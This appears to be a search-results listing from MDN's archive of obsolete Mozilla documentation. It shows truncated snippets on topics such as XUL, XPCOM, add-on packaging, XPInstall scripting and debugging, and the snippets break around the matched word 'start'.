f (atopic == "addon-options-displayed" && adata == "my_addon@my_domain") { var doc = asubject; var control = doc.getelementbyid("myaddon-pref-control"); control.value = "test"; } } }; services.obs.addobserver(observer, "addon-options-displayed", false); // don't forget to remove your observer when your add-on is shut down. this code should be in bootstrap.js (within the
startup() function) for re
startless extensions or in an xpcom component or a javascript code module (not an overlay!) for traditional extensions. note:
starting in gecko 13.0, you can also listen for the addon-options-hidden notification, which has the same subject and data as above, to find out when the ui is about to be removed. use this notification to remove event listeners, or any other referenc...
Migrating raw components to add-ons - Archive of obsolete content
, this document will be updated with additional information addressing scenarios we see developers encountering. simple migration if your goal is just to get your raw component working properly as an extension, you can do this in three steps: create a new add-on using the instructions here. as you'll see, add-ons give you much more flexibility than simply loading a component, but in order to get
started, all you'll need is your directory structure and install manifest. create a components/ directory in the root of your add-on's directory. add your js and binary components within that directory. they will be registered the first time firefox is run once your add-on is installed. automatic installation once you have an add-on packaged, users can install it by visiting your site and giving the a...
Multiple item extension packaging - Archive of obsolete content
ion). the basic structure is shown below: /install.rdf install manifest /extension1.xpi extension /extension2.xpi extension /theme1.jar theme /theme2.jar theme ... the extension manager will read the install.rdf install manifest to determine if this is a multiple item package and then
start the installation of the individual packages it contains automatically. no other files besides the install.rdf install manifest and the files with a jar and xpi file extension will be extracted or utilized. install.rdf a multiple item package does not have the same requirements as an extension for its install.rdf. the only required properties are em:id, em:targetapplication, and em:type. for th...
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
partial extension to the corba idl. you can perform a full-text search of the firefox source code in mozilla cross-reference using character strings, filenames, etc as search keys. if you’re having trouble with any of the details of the interface, it is helpful to search on the source code for usage examples within firefox. note: to look at the firefox 3 source code, choose "firefox 3" in the
starting points list. for firefox 3.5 choose "mozilla 1.9.1." for the current development trunk of firefox, choose "mozilla central" and for thunderbird, choose "comm. central". calling xpcom from xpconnect use the xpconnect technology to use xpcom in javascript. listing 1 shows how you can use xpconnect to acquire references to xpcom services and create new xpcom objects. each component is identi...
Adding windows and dialogs - Archive of obsolete content
a xul window or dialog. modal. modal windows block their parent window until action is taken on them. an alert window is an example of this. modal windows should be avoided when possible because they interrupt the user's browsing and can become annoying very quickly. this feature should only be used when there's no way to continue without having the user do something. never open modal windows at
startup. resizable. indicates the user can resize the window or not. in general, windows should not be resizable unless they display dynamically generated content from a datasource, such as lists or trees that may need resizing to have a better view of the content. to open a new dialog, use the function window.opendialog, an extension of the open function. it allows you to send a set of optional par...
Introduction - Archive of obsolete content
provide code samples that you can easily copy and adapt to your needs, as well as some working example extensions. the tutorial aims to be as brief as possible, often falling back on mozilla documentation for more detailed information. you can think of it as a quick guide to the expansive world that is the mozilla platform. most links in this documentation are meant to be clicked and read. we'll
start with a brief introduction to some key concepts, in case you're not familiar with mozilla and firefox. mozilla and firefox the term mozilla can be used to refer to several concepts: the mozilla project, the mozilla foundation, the mozilla corporation and the old mozilla browser. even firefox is sometimes referred to as "mozilla". if you're unfamiliar with these terms, it's good that you take som...
The Box Model - Archive of obsolete content
the dimensions and appearance of buttons, changing the background color of the toolbars and status bars, font styles, sizes, etc. note that this is not really what you would expect from an extension, it's more like a theme. however, it's very interesting and useful to see how you can manipulate the appearance of firefox so easily. if you're not familiar with css, you should read this css getting
started guide and other online resources before continuing with this tutorial. « previousnext » this tutorial was kindly donated to mozilla by appcoast. ...
The Essentials of an Extension - Archive of obsolete content
you can open it with any text editor. the file is formatted in a special flavor of xml called rdf. rdf used to be the central storage mechanism for firefox, but it is now being replaced for a simpler database system. we'll discuss both of these storage systems further ahead in the tutorial. now let's look at the important parts of the file. <em:id>helloworld@xulschool.com</em:id> this is the unique identifier for the extension. ...
Useful Mozilla Community Sites - Archive of obsolete content
ces such as bug tracking, source code repositories, download mirrors and many communication tools. there are other free hosting sites such as souceforge and google code that are also very good, but not as specialized as mozdev. you should pick the one that best fits your development needs. conclusion that's it! this is the end of the xul school tutorial. hopefully this guide has helped you get
started with add-on development and you're on your way to joining the large mozilla add-ons developer community. the sheer volume of material can be overwhelming, but you can always come back and use this tutorial as a reference for your future development. now all you need is a good idea (in case you didn't have one already) and get
started. happy coding! « previous this tutorial was kindly ...
XPCOM Objects - Archive of obsolete content
ratemers have the in keyword. this specifies that these are input parameters, values that the method will use to perform its actions. when is a parameter not an in parameter? in some methods the out keyword is used for parameters that are return values in reality. this is done for certain value types that are not valid as return values in idl, such as typed arrays. void getchildlist(in string a
startingat, out unsigned long acount,[array, size_is(acount), retval] out string achildarray); this method returns an array of strings. the first parameter is an input that tells the method where to
start looking. the second one will hold the length of the return array, and the third parameter will hold the array itself. note the metadata included in the square brackets, indicating that the paramete...
XUL School Tutorial - Archive of obsolete content
xul school is a comprehensive add-on development tutorial, focusing on firefox extension development. it is recommended that you read through all of it at least once. while firefox changes rapidly, the content in this tutorial should be up to date and valid. ...
Overlay extensions - Archive of obsolete content
he approach to developing extensions for gecko-based applications which uses: xul overlays to specify the interface apis available to privileged code, such as tabbrowser and javascript modules, to interact with the application and content. prior to firefox 4, and the gecko 2 engine that powers it, this was the only way to develop extensions. this methodology has largely been superseded by re
startless extensions, and the add-on sdk, which is built on top of them. the privileged javascript apis described here can still be used in these newer types of add-ons. xul school xul school is a comprehensive add-on development tutorial, focusing on firefox extension development but mostly applicable to other gecko-based applications. more resources setting up your environment setting up the...
Extensions support in SeaMonkey 2 - Archive of obsolete content
these type of extensions have many advantages for both users and developers compared to the old xpinstall/-style extensions. the basics to support seamonkey 2 as a target application, you need to add it to the list of target applications in the extension's install.rdf file. the code for that will look something like this: <em:targetapplication> <!-- seamonkey --> <description> <em:id>{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}</em:id> <em:minversion>2.0</em:minversion> <em:maxversion>2.*</em:maxversion> </description> </em:targetapplication> the install.js is not supported any more and should be removed. ...
Signing an XPI - Archive of obsolete content
tion of the jar and xpi files. this example is using the cygwin bin/zip.exe tool. build.bat is placed in the extension's root folder. e.g. /dev/fsb/build.bat /dev/fsb/install.rdf /dev/fsb/chrome.manifest /dev/fsb/chrome/ /dev/fsb/chrome/content/ /dev/fsb/chrome/locale/ /dev/fsb/chrome/skin/ here it is with the code-signing steps included: @echo off set x=%cd% echo building %x%.xpi ... echo
started at %date% %time% > %x%\build.log md build\chrome cd chrome zip -r -0 "%x%.jar" * >> %x%\build.log move "%x%.jar" ..\build\chrome >> %x%\build.log cd .. copy install.rdf build >> %x%\build.log copy chrome.manifest build >>%x%\build.log signtool.exe -d c:\projects\codesigning -k "code signing (certum)" -p "password" build/ >> %x%\build.log cd build zip "%x%.xpi" meta-inf/zigbert.rsa >>...
Creating reusable content with CSS and XBL - Archive of obsolete content
ing at the document level, you can make self-contained parts that are easy to maintain and reuse. more details for more information about xbl bindings, see the xbl page in this wiki. action: an xbl demonstration make a new html document, doc6.html. copy and paste the content from here: <!doctype html public "-//w3c//dtd html 4.0//en"> <html> <head> <title>mozilla css getting
started - xbl demonstration</title> <link rel="stylesheet" type="text/css" href="style6.css"> </head> <body> <h1>xbl demonstration</h1> <div id="square">click me</div> </body> </html> make a new css file, style6.css. this stylesheet contains the document style. copy and paste the content from here: /*** xbl demonstration ***/ #square { -moz-binding: url("square.xbl#square"); } make a new te...
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
s like inner-browsing, where these technologies can begin to be used in the way that they were envisioned. many of the new web technologies in the html 4.0 specification, xml 1.0, dom level 3 were explicitly created with application-like behavior and more sophisticated navigational models in mind. in the next section we will introduce inner-browsing as an extension to the traditional model. let's
start defining what we mean by inner-browsing. in this model, when a request goes to the web server, the current page is updated rather than replaced. without leaving the page, the user browses new information and preserves the page's context. this new navigational method allows us to make html user interfaces behave similarly to non-web based applications such as contact management software. the basic...
In-Depth - Archive of obsolete content
\communicator.css and look for the .toolbar-primary section. there is a -moz-binding command there. point the url to the new location. change: -moz-binding: url("chrome://global/content/bindings/toolbar.xml#toolbar-primary"); to -moz-binding: url("chrome://communicator/skin/toolbar/toolbarbindings.xml#toolbar-primary"); now every toolbar has a spot for an image on the right hand side and we can
start adding images, but first we need to make sure we can see the images that we add. also in the communicator.css add this code: .toolbar-primary-icon { width: 100px; background-repeat: no-repeat; background-position: top; } open up \classic\skin\classic\navigator\navigator.css and scroll down to the bottom. to style that image, we first need to get a handle to the toolbar, then the box inside...
Creating a Skin for Mozilla - Archive of obsolete content
not totally change the interface, it just defines how it looks. you cannot change what happens when the user right clicks on an image, but you can change the look of the right click menu (make it blue with pink polka dots, for example). if you want to change the functionality of mozilla, you'll have to look into modifying the chrome. that is beyond the scope of this document. ...
Dehydra - Archive of obsolete content
f. dehydra was built as a gcc plugin, thus it is easy to use for projects that already support gcc. dehydra is also useful for generating language bindings and is used to bootstrap treehydra, a heavy-duty static analysis gcc plugin. documentation installing dehydra download, installation and dependency info for dehydra using dehydra examples for getting
started writing analysis scripts. dehydra function reference callback and utility functions for dehydra scripts. dehydra object reference javascript objects and properties provided by dehydra. dehydra faq answers to common questions static analyses analyses being worked on for mozilla 2 todo steps to dehydra 1.0 release com...
Developing New Mozilla Features - Archive of obsolete content
mozilla is a complex codebase. our portability requirements may be new to even seasoned developers. our cross-platform component model (“xpcom”) is similar to com, but you’ll want to make sure you use it well before going too far with your project. and of course, we have a set of coding practices to help everyone live together. ...
Download Manager improvements in Firefox 3 - Archive of obsolete content
oad manager as well as their default values. the download manager schema this article describes the database format used to store and track information about each download. examples monitoring downloads an example showing how to use the new download manager apis to create a download log window that shows all past and present downloads and their status, including the
start and end times of the downloads, the download speed, and more. also demonstrates the storage api. ...
Embedding FAQ - Archive of obsolete content
you can get more detailed information on what interfaces are required and which are optional to impelement here. scroll down to "initalization and teardown. how to customize document retrieval one method is to implement your own protocol method. you can find more information on adding new protocols here how to embedding mozilla inside of java there hasn't been any good code examples found. however, there is a stripped down, uncommented code with eclipse libraries in this thread. ...
Extension Frequently Asked Questions - Archive of obsolete content
this is quick set of answers to the most common issues with extension development. they are currently written with mostly firefox in mind, but most if not all should easily translate to seamonkey, thunderbird or any of the other applications. for thunderbird, you may also find the extension howto or faq pages helpful. if you're looking for a place to get
started, try our tutorial, building an extension or mozillazine's getting
started tutorial. use the extension wizard to generate a template to
start with. be sure to set the development preferences. todo: add content. where can i get more help? please see extensions:other resources and extensions:community. before asking for help, be sure to set the debugging prefs and check the error console for related messages. also, don't forg...
Downloading Nightly or Trunk Builds - Archive of obsolete content
ertain more-or-less fixed set of tests. nightly builds. the same machines produce about every 24 hours a "nightly" build which can be downloaded by anyone if you know where to get it: these are the nightly builds, and testers all over the world download them and test them, reporting as they go along on any bugs that hit them. anyone can be a tester, you don't need to get approval before you can
start testing. when people talk of "nightlies", they often mean "trunk nightlies", though there exist also "branch nightlies" which are somewhat less buggy but also not as "newest & greatest". for instance, one may use a thunderbird "branch nightly" as one's main e-mail client. note that nightly builds may not be created for every platform for every night. if one has questions about the way a particul...
Style System Overview - Archive of obsolete content
s either a none bit, a cached struct, a dependent bit, or all the properties have been filled in. walkruletree also remembers the first rule that contributed non-empty data. style data computation after walkruletree stops walking up, it calls nsrulenode::compute*data to turn the specified values into the mostly-computed style data in the style struct. compute*data use either a default or a
start struct as the basis for the computation. a
start struct is a cached struct in the rule tree that we can just copy and add to. if the computation in compute*data used any data from the parent style context, we cache the struct on the style context. otherwise, we cache the struct in the rule tree, on the first rule node that contributed any data, and mark dependent bits on the path up to that rul...
Code snippets - Archive of obsolete content
.engines[engine].syncid = weave.utils.makeguid(); // or any other guid you like. payload.engines[engine].version = 0; // or any other version number you like. envelope.payload = json.stringify(payload); r.put(json.stringify(envelope)); generate new keys // clients always wipe the server when they generate new keys. components.utils.import("resource://services-sync/main.js"); weave.service._fresh
start(); // if you want to do it without wiping the server (which will cause corruption!): weave.service.generatenewsymmetrickeys(); print out a list of large bookmark records // change '1000' as appropriate. components.utils.import("resource://services-sync/engines.js"); components.utils.import("resource://services-sync/engines/bookmarks.js"); let bme = weave.service.enginemanager.get("bookmarks")...
Isp Data - Archive of obsolete content
do a variety of things. this page applies to thunderbird (mail/news). introduction these files allow for adding to the new account wizard a new option, and help with, among other things, deployment of custom thunderbird. tools needed the files are simple text files, in utf-8 encoding, so use your favorite modern text editor. a working install of thunderbird is also handy for testing. getting
started first take a look at the number of examples available: http://infosec.ufl.edu/tbird/gatorlink.xml mailnews/base/ispdata/aol.rdf see the thunderbird isp hooks for more details. ...
JavaScript crypto - Archive of obsolete content
* ... */); loading pkcs #11 modules long deletemodule(domstring modulename); long addmodule(domstring modulename, domstring libraryfullpath, long cryptomechanismflags, long cipherflags); loads or removes a new pkcs #11 module. in the add case, the module will be placed in the nss secmod.db database and will be loaded automatically on application re
start. in the delete case, the module is removed from the nss secmod.db. this function will issue a user prompt to confirm the operation before the add or delete actually occurs. parameters modulename name of the module. libraryfullpath the filename of the library prepended with its full path. cryptomechanismflags a bit vector indicating all cryptographic mechanisms should be turned on by defa...
Java in Firefox Extensions - Archive of obsolete content
ities, but everything is working in firefox 3.0.10.). i've also experienced crashes in referencing the 'java' global within the xul editor of the extension developer's extension which seems to point to some stability problem. see also liveconnect overview https://jdk6.dev.java.net/plugin2/#liveconnect https://jdk6.dev.java.net/plugin2/liveconnect/ http://forums.sun.com/thread.jspa?th...66932&
start=15 ...
Enabling Experimental Jetpack Features - Archive of obsolete content
in the future is inspired by python's future module. in python, you can call from __future__ import foo which adds the functionality that foo yields to the script. in jetpack, we propse adding a new function to the base namespace called importfromfuture. methods import(stringmountpath string)imports the requested experimental feature into the script. stringmountpathstring that enumerates where,
starting from the jetpack base, the feature will be mounted. to get a list of mount paths that are available, see the method below. string here is an example of how to import a feature (the clipboard) from the future. jetpack.future.import("clipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally...
Enabling - Archive of obsolete content
d in the future is inspired by python's future module. in python, you can call from __future__ import foo which adds the functionality that foo yields to the script. in jetpack, we propse adding a new function to the base namespace called importfromfuture. methods import(stringmountpath string)imports the requested experimental feature into the script. stringmountpathstring that enumerates where,
starting from the jetpack base, the feature will be mounted. to get a list of mount paths that are available, see the method below. string here is an example of how to import a feature (the clipboard) from the future. jetpack.future.import("clipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionall...
Menu - Archive of obsolete content
lows features to access and modify the browser's built-in menus. features can also create new menus and attach them almost anywhere, chrome or content, as popup menus or context menus. two namespaces are associated with this api: jetpack.menu, which provides access to the browser's menus, and jetpack.menu, the constructor for making new menus. the api is fairly comprehensive, so you may want to
start by reading through some examples. because it is still under development, the api currently lives in the future and must be imported before it is used: jetpack.future.import("menu"); menus all menus in jetpack are jetpack.menu objects, including both built-in firefox menus and menus that features create. to create a new menu, use one of the jetpack.menu constructors below. constructors jetpack.m...
Enabling Experimental Jetpack Features - Archive of obsolete content
d in the future is inspired by python's future module. in python, you can call from __future__ import foo which adds the functionality that foo yields to the script. in jetpack, we propse adding a new function to the base namespace called importfromfuture. methods import(stringmountpath string)imports the requested experimental feature into the script. stringmountpathstring that enumerates where,
starting from the jetpack base, the feature will be mounted. to get a list of mount paths that are available, see the method below. string here is an example of how to import a feature (the clipboard) from the future. jetpack.future.import("clipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionall...
Metro browser chrome tests - Archive of obsolete content
his: gtests.push({ desc: "test loading about:blank", setup: function () { }, teardown: function () { }, run: function () { yield addtab("about:blank"); is(tab.browser.currenturi.spec, "about:blank", "about:blank is loaded"); } }); function test() { runtests(); } gtests contains individual tests that make up the library of tests your test file will contain. each test can have
start up and tear down logic, plus the body of the test contained in run(). the test file can contain other functions which will be ignored unless invoked by test(). gtests make use of promises and tasks for managing execution. test comparison functions used in metro browser chrome tests are identical to those supported by mochitests, see how the comparison functions work in the mochitest documentation...
Microsummary XML grammar reference - Archive of obsolete content
xpression, and it does not affect evaluation of the expressions. the following example identifies a generator as being able to summarize all pages on the www.example.com web site except pages named about.html: <pages> <include> ^http://www\.example\.com/ </include> <exclude>/about\.html</exclude> </pages> note: regular expressions intended to match the beginnings of page urls should
start with the caret (^) to ensure they do not inadvertently match urls which merely contain the urls they intend to match. for example, the regular expression http://www\.example\.com/ matches both the url http://www.example.com/ and the url http://www.evil.com/http://www.example.com/, but the regular expression ^http://www\.example\.com/ matches only the first of those two urls. see the reference cor...
Modularization techniques - Archive of obsolete content
tion is performed using the queryinterface() method. the caller passes in an id and a pointer to a address to place the resulting interface. if the query is successful, queryinterface() will return ns_ok. if the object does not support the given interface, it will return ns_nointerface. reference counting is performed using the addref() and release() methods. an objects reference count generally
starts at zero. addref() increments that reference count, and release() decrements it. if a call to release() causes the reference count to hit zero, the object will generally free itself. a successful queryinterface() will call addref() on the requested interface before returning. both addref() and release() return the resulting reference count. the convenience macros ns_addref() and ns_release() are...
LIR - Archive of obsolete content
on to machine code. lir stands for low-level intermediate representation. it is a typed assembly language. the lir instruction set is best learnt by reading nanojit/liropcode.tbl. code for manipulating lir is in nanojit/lir.h. nanojit lir instruction cheat sheet.also in pdf format see attachment. category op code code name return type featured description miscellaneous 0
start void
start of a fragment 1 regfence void a register fence causes no code to be generated, but it affects register allocation so that no registers are live when it is reached. 2 skip void links code chunks. 3 parami integer 32 bit load an int parameter (register or stack location). 4 paramq quad 64 bit load a quad parameter (register or s...
Plug-n-Hack Get Involved - Archive of obsolete content
if you would like to add pnh support to a browser or tool, or even get involved in onward pnh development, then please get in touch and we will give you whatever assistance we can. to contribute or keep up to date with plug-n-hack changes please joion the mozilla plug-n-hack google group. you can also talk to the mozilla security team about this project on the #websectools irc channel. ...
Plug-n-Hack Phase1 - Archive of obsolete content
var manifest = {"detail":{"url":"http://localhost:8080/manifest"}}; var evt = new customevent('configuresectool', manifest); it is suggested that browsers wishing to support pnh restrict handling of customevents such that they’re ignored where the event happens outside of user initiated actions. the configuration document should then listen for a number of other events: configuresectool
started - this notifies the document that the browser is processing the configuration; if this event is not received within a reasonable amount of time after the configuresectool event has been fired, you might want to warn the user that pnh does not seem to be supported by this browser (perhaps prompting them to install the appropriate addon). configuresectoolfailed - this notifies the document that...
Plugin Architecture - Archive of obsolete content
). a refcounted object, contrary to nsobjectframe. note that while nsobjectloadingcontent also deals with images and documents, this document concentrates on plugins. sequence of events in content a content node for a plugin dom element gets created in bindtotree (usually) or another function, it calls loadobject loadobject either notices directly that it is dealing with a plugin, or it
starts a network request and notices this in on
startrequest when it realizes that, it tries to create a frame, if anotify is true and no frame exists yet if a frame exists now, it is asked to instantiate the plugin that was the normal case. if a frame comes into existance independent of that, it tells the content node that it exists now (nsiobjectloadingcontent::hasnewframe). that function will post...
FAQ - Archive of obsolete content
is prism a mozilla product? no, prism is not a mozilla product. it is one of the experiments being conducted by mozilla labs to bridge the divide in the user experience between web applications and desktop apps. ...
Scripting - Archive of obsolete content
prism allows for some client-side web application customization. the web application bundle is allowed to hold a javascript file named webapp.js (called the webapp script). this file will be loaded into the prism chrome window very much like a firefox extension is loaded into the browser chrome window. it can contain the following functions:
startup when the app
starts, before the user interface is displayed. since the web application has not yet loaded, the window object is still undefined. preload just before the user interface is displayed. returning false causes the application to terminate. load after the main application windows has finished loading. the window object has been initialized and can be used. error if there is an error loading the main app page (e.g. the server is n...
RDF Datasource How-To - Archive of obsolete content
tasource that is listed will be loaded, and the assertions contained in the datasource will be made available to the tree control for display. ref="http://foo.bar.com/". this roots the graph in your content model. the tree tag will be treated as if it has the id attribute with a value http://foo.bar.com/. <template>...</template>. the xul template that is used to build content from the graph.
starting with the resource that corresponds to the tree element, http://foo.bar.com/, the graph will be traversed and content will be constructed using the pattern specified within the template tags. for a complete description of how content is built from rdf, see the xul:template guide. 1 as of this writing, it is not currently possible to implement javascript xpcom components; however, it may soo...
Reading textual data - Archive of obsolete content
eam as described on the file i/o code snippets page, you can convert it to utf-8 // sstream is nsiscriptableinputstream var str = sstream.read(4096); var utf8converter = components.classes["@mozilla.org/intl/utf8converterservice;1"]. getservice(components.interfaces.nsiutf8converterservice); var data = utf8converter.converturispectoutf8 (str, "utf-8"); gecko 1.8 and newer reading strings
starting with gecko 1.8 (seamonkey 1.0, firefox 1.5), you can use nsiconverterinputstream to read strings from a stream (nsiinputstream). this work was done in bug 295047. usage: var charset = /* need to find out what the character encoding is. using utf-8 for this example: */ "utf-8"; const replacementchar = components.interfaces.nsiconverterinputstream.default_replacement_character; var is = compon...
Remotely debugging Firefox for Metro - Archive of obsolete content
ation prompt. this can be a security risk, especially if you also set the force-local preference to false.) set up firefox for desktop on the desktop, remote debugging is enabled by a setting in the toolbox. open the toolbox, click the "settings" button in the toolbar, and check "enable remote debugging" in the settings tab. if you're using a version of firefox older than 27, you'll need to re
start the browser for the setting to take effect. connecting on the desktop on the desktop, open the web developer menu and select "connect...". you'll see a page that looks like this: if you are running firefox for metro on the same computer with the default settings, use the default host (localhost) and port (6000), and press the "connect" button. if you are connecting to firefox for metro o...
Remote debugging - Archive of obsolete content
ve a debug build of firefox handy. this requires quite a bit of trust, in both directions. the developer trusts that his time is not being wasted: the crash is a real bug in firefox. (that is, there's a legitimate reason it happens only on some computers, but that reason just hasn't been discovered.) the crash victim, in turn, trusts the developer with full access to his computer. a good place to
start is a detailed stack (in gdb, use bt followed by bt full). there give more information about the stack than a breakpad crash report: not only the names of the functions on the stack, but also the values they were passed. core dump a core dump includes all of the memory of a crashed program. it allows you to see the crash in a debugger even after the program has long exited. transferring a core du...
Running Windows Debug Builds Downloaded From Tinderbox - Archive of obsolete content
you can see this by looking in at firefox.exe with http://www.dependencywalker.com/. unfortunately these dlls are not redistributable. to get these dlls you only have to install the visual c++ compilers from the windows vista sdk. no other packages are necessary. if you are a mozilla employee or contractor, click for more instructions. ...
Supporting private browsing mode - Archive of obsolete content
y private information is not recorded. this includes cookies, history information, download information, and so forth. when private browsing mode is enabled, temporary, databases are created to be used for cookies and local storage; these databases are thrown away when private browsing mode is turned off, and the regular databases are re-activated. the temporary cookie and local storage databases
start out empty. extensions that may record potentially private information may wish to hook into the private browsing service so that they can avoid saving personal information when private browsing mode is enabled. doing this is quite easy, using the nsiprivatebrowsingservice interface. detecting private browsing mode determining whether or not the user is currently in private browsing mode is simpl...
Table Layout Regression Tests - Archive of obsolete content
ac_add_options --enable-tests), patience and time. test runs go to the %moz_src%/layout/html/tests/block directory. avoid the nasty assertions to pop up by set xpcom_debug_break=warn, the world would be a much better place if we could first fix those assertions. as you will probably run your normal mozilla in parallel with the testing issue then: set moz_no_remote=1 at the command prompt.
start the layout debugger via mozilla -layoutdebug - p foo where foo is just another profile than your main profile. select from the regression-test menu the add new list...entry. select %moz_src%/layout/html/tests/block/rtest.lst. execute the baseline test shutdown the layoutdebugger execute mozilla -layoutdebug - p foo >selftest.txt execute the verify test make a note which tests have failed g...
Tamarin Acceptance Test Template - Archive of obsolete content
recipient may use your version of this file under * the terms of any one of the mpl, the gpl or the lgpl. * * ***** end license block ***** */ var section = "test"; // provide a document reference (ie, actionscript section) var version = "as3"; // version of ecmascript or actionscript var title = "test"; // provide ecma section title or a description var bugnumber = "";
starttest(); // leave this alone /** * calls to addtestcase here. addtestcase is a function that is defined * in shell.as and takes three arguments: * - a string representation of what is being tested * - the expected result * - the actual result * * for example, a test might look like this: * * var helloworld = "hello world"; * * addtestcase( * "var helloworld = 'hello worl...
The Download Manager schema - Archive of obsolete content
e type description id integer a unique id for the download. this field is the primary key for the table. name text the download's file name. source text the source uri for the download. target text the destination uri for the download. temppath text the path of the temporary file being used for the download.
starttime integer the download's
start time. endtime integer the download's end time. state integer the download's current state. see the constants list in the nsidownloadmanager documentation. referrer text the referrer for the download. entityid text the entity id from the nsiresumablechannel used to implement the download channel. thi...
TraceVis - Archive of obsolete content
its activity transitions. the log can be postprocessed into a visualization that can be used to rapidly diagnose many tracing-related performance issues. so far, most of the documentation on tracevis is contained in the announcement blog post. prerequisites the visualization scripts require pil (python imaging library). building with tracevis these are the steps to build a js shell with tracevis,
starting from a mozilla source directory. these directions create an optimized build, because optimized builds are usually better for performance analysis. cd js/src autoconf213 mkdir opt-tracevis cd opt-tracevis ../configure --enable-tracevis make -j2 the resulting binary will be at dist/bin/js relative to the current directory. running with tracevis to run a shell with tracevis: dist/bin/js -j -t /tm...
Tuning Pageload - Archive of obsolete content
in your profile to change these. to best understand what the following preferences affect, there are a few things you should know. the data flows in gecko as follows: network -> necko -> parser -> content sink -> content model -> rendering model -> layout -> painting. nglayout.initialpaint.delay this is a preference that specifies a delay, in milliseconds, after the data from the server has
started coming in. during this delay, the page that's coming in is not painted, unless it ends up fully loaded before the delay expires. the idea here is twofold.this reduces ugly visual jitter as the new page comes in by not
starting painting till after we have a bunch of the data.this makes overall page load time shorter by not doing extra repaints very early on. content.interrupt.parsing this pr...
Using gdb on wimpy computers - Archive of obsolete content
is free software, covered by the gnu general public license, and you are welcome to change it and/or distribute copies of it under certain conditions. type "show copying" to see the conditions. there is absolutely no warranty for gdb. type "show warranty" for details. this gdb was configured as "i386-redhat-linux"... (gdb) b main breakpoint 1 at 0x804ec45: file nsapprunner.cpp, line 811. (gdb) r
starting program: /home/blizzard/src/mozilla/mozilla/dist/bin/./mozilla-bin breakpoint 1, main (argc=1, argv=0xbffff894) at nsapprunner.cpp:811 811 installunixsignalhandlers(argv[0]); (gdb) set auto-solib-add 0 (gdb) c continuing. nsnativecomponentloader: autoregistering begins. [...] it's easy to define a function for gdb to do this for you automatically. you can add this function to the .gdbi...
Using Breakpoints in Venkman - Archive of obsolete content
ent. one of the most important aspects of debugging a script or software program is the ability to examine variables—function return values, errors, counters, variable scopes—as they change over the course of the script execution. the onflipx function in figure 1, for example, uses the variable newsign to figure out what image to use for the fish. when you set a breakpoint at line 81, you can
start animation on the web page in the browser window and see venkman stop execution as it enters the onflipx function. stopped there, venkman displays the value of the newsign variable as "1" in the local variables view. using breakpoints and the interactive view, you can change the values of the variables that venkman displays (only in the context of the debugging environment itself) and see how the...
Elements - Archive of obsolete content
, and event handlers to html/xml elements. a single xbl binding can be attached to an element by using style sheets or by scripting. (see bug 83830 for <table> specifics). ...
XML in Mozilla - Archive of obsolete content
splaying xml with css, namespaces in xml, xhtml, simple xlinks, and manipulation of xml with scripts via dom. there is an xml component in bugzilla. we also have the "xhtml" keyword for xhtml bugs (these tend to be scattered across components). how can i help? if you can code, look for helpwanted keyword in xml bugs. we don't use that always, so if you want to avoid doing duplicate work you could
start working on bugs that have future milestone, or otherwise have a milestone that is set way into the future. you can always test our xml support. we'd really like to get tests that can be run automatically (this would require knowledge of web development; document.load() and/or xml extras might be needed), but probably most of the bugs we get have just been found by normal people trying to do somet...
Examples - Archive of obsolete content
examples trigger scripts and install scripts describes typical kinds of script that use the xpinstall api. the following samples demonstrate some of the principal installation functions in the xpinstall api: file.macalias file.windowsshortcut [install.]adddirectory [install.]addfile installtrigger.installchrome installtrigger.
startsoftwareupdate windows install example ...
confirm - Archive of obsolete content
dialog. method of install object syntax int confirm( string atext ); int confirm( string atext, string adialogtitle, number abuttonflags, string abutton0title, string abutton1title, string abutton2title, string acheckmsg, object acheckstate ); parameters the second, extended confirm() method is supported
starting with gecko 1.8. it accepts any number of parameters up to 8. previous gecko versions only support the first, one-parameter method and will throw an error on occuring the extended form. see the notes at the end of this document for a safe way to implement a fallback. atext the string to be displayed in the confirmation dialog. this string is typically in the form of a prompt for ...
deleteRegisteredFile - Archive of obsolete content
registry for the file that is to be deleted. returns an integer error code. for a list of possible values, see return codes. description the deleteregisteredfile method deletes the specified file and removes the file's entry from the client version registry. if the file is currently being used, the name of the file that is to be deleted is saved and netscape 6 attempts to delete it each time it
starts up until the file is successfully deleted. this method is used to delete files that cannot be removed by the uninstall method or to remove files that are no longer necessary or whose names have changed. ...
execute - Archive of obsolete content
hod, on the other hand, deletes the executable from its temporary location once it has finished. the optional blocking argument, when set to true, specifies that the installation should wait for this executable to finish before processing the next queued install command. if you do not set this flag and launch an executable that is not a part of the installation, you will raise an error when you re
start the browser. passing arguments to the executable the args parameter, when present, passes a string to the executable as command-line parameters. the following line, for example, passes the "-c" command-line parameter to the executable: err = file.execute(myfile, "-c", true); when you want to pass more than one parameter to the executable itself, however, you must format the args string in a pa...
refreshPlugins - Archive of obsolete content
d of install object syntax int refreshplugins( [ areloadpages ] ); parameters the refreshplugins method has the following parameter: areloadpages areloadpages is an optional boolean value indicating whether you want to reload the open web pages after you have refreshed the plug-in list. returns nothing. description refreshplugins lets you register new plug-ins without having to re
start the browser. when you use this method in an installation script, as the example below demonstrates, you can install new plug-ins and use them to display the requested media in a web page without interrupting the experience of the user. note that refreshplugins must be called after the performinstall method that initiates the actual installation. example // install dll into plugins // install xpt...
Properties - Archive of obsolete content
an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. properties archive full local path of the archive after it is downloaded to the platform specific temp folder. (e.g. c:\temp\argstest.xpi) arguments args can be passed in through the triggering apis by attaching a ? and then the rg string to the xpi url: (e.g.
startsoftwareupdate("http://webserver/argstest.xpi?argument_string") will result in the value of install.arguments being argument_string #). note that spaces in the arg string are legal. everything after the question mark is treated as one string which becomes the install.arguments property. buildid the application build id in the form 20041231. note that due to branching (different versi...
Learn XPI Installer Scripting by Example - Archive of obsolete content
nd the version is "6.0.0.2000110807." see initinstall in the xpinstall api reference for more information on the initialization process. verifying the target the first thing the installation script does when it's executed is to check that there is adequate disk space for the software to be installed, where the verifydiskspace function is called as a condition of the main installation block that
starts at line 24). // this function verifies disk space in kilobytes function verifydiskspace(dirpath, spacerequired) { var spaceavailable; // get the available disk space on the given path spaceavailable = filegetdiskspaceavailable(dirpath); // convert the available disk space into kilobytes spaceavailable = parseint(spaceavailable / 1024); // do the verification if(spaceava...
XTech 2006 Presentations - Archive of obsolete content
